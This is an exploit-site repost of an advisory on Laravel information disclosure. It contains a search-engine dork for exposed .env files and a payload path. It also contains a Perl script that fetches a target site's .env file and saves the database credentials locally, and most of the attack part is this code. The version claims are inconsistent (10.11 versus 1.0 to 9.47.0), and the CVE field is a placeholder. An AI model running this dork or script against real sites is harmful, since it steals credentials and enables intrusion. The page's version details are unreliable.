Advertisement






Laravel 10.11 Database Disclosure / Information Disclosure

CVE Category Price Severity
CVE-XXXX-XXXX CWE-XXXX Not specified High
Author Risk Exploitation Type Date
Unknown High Remote 2023-05-27
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023050067

Below is a copy:

Laravel 10.11 Database Disclosure / Information Disclosure
====================================================================================================================================
| # Title     : Laravel 10.11 Information Disclosure MySQL Credential Disclosure Vulnerability                                     |
| # Author    : indoushka                                                                                                          |
| # Tested on : windows 10 Franais V.(Pro) / browser : Mozilla firefox 108.0(32-bit)                                              | 
| # Vendor    : https://laravel.com/                                                                                               |  
| # Dork      : db_password filetype:env                                                                                           |
                "Whoops! There was an error."                                                                                      |
====================================================================================================================================

note : 

[+] 1 : 
 
Laravel's default .env file contains some common configuration values that may differ based on whether your application 
is running locally or on a production web server. These values are then retrieved from various Laravel configuration files 
within the config directory using Laravel's env function.

[+] 2 :  This framework In case you do not set a page for error it displays sensitive information about hosting passwords, databases ... etc

[+] Poc :

[+] Dorking n Google Or Other Search Enggine.

[+] Use Payload : /.env = ( Depending on the server's protection, the result of viewing the file is either direct viewing or downloading the file Or not give you anything )

[+] https://127.0.0.1/lala/.env 

====================================================================================================================================
| # Title     : Laravel 10.11 sensitive information disclosure Vulnerability                                                       |
====================================================================================================================================

poc : 


[+]  This framework In case you do not set a page for error it displays sensitive information about hosting passwords, databases ... etc

[+]  Dorking n Google Or Other Search Enggine .

[+]  https://127.0.0.1/lalaland/categorie/avant_apres/

[+]  https://youtu.be/tz_w563Nyac

====================================================================================================================================
| # Title     : Laravel 10.11 Database Disclosure Exploit                                                                          |
====================================================================================================================================

poc :

[-] Download the configuration file:

    The following Perl exploit will attempt to download the .env file
    The .env file contains some common configuration values and connection information to the script database
    Through the code you can control where to save the downloaded file .

[+] Dorking n Google Or Other Search Enggine.

[+] save code as perl file : poc.pl

[+] code :

#!/usr/bin/perl -w
# Author : indoushka

use LWP::Simple;
use LWP::UserAgent;

system('cls');
print "\n[+] Laravel from Version 1.0 to 9.47.0 Database Disclosure [+] \n\n";
system('color a');


if(@ARGV < 2)
{
print "[+] Author : indoushka \n\n";
print "[-] How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/.env \n";
print "[+] usage2 : perl $0 localhost /.env \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File=".env";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Fuck you wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/.env");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/.env\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}


Greetings to :=========================================================================================================================
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |        
=======================================================================================================================================

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum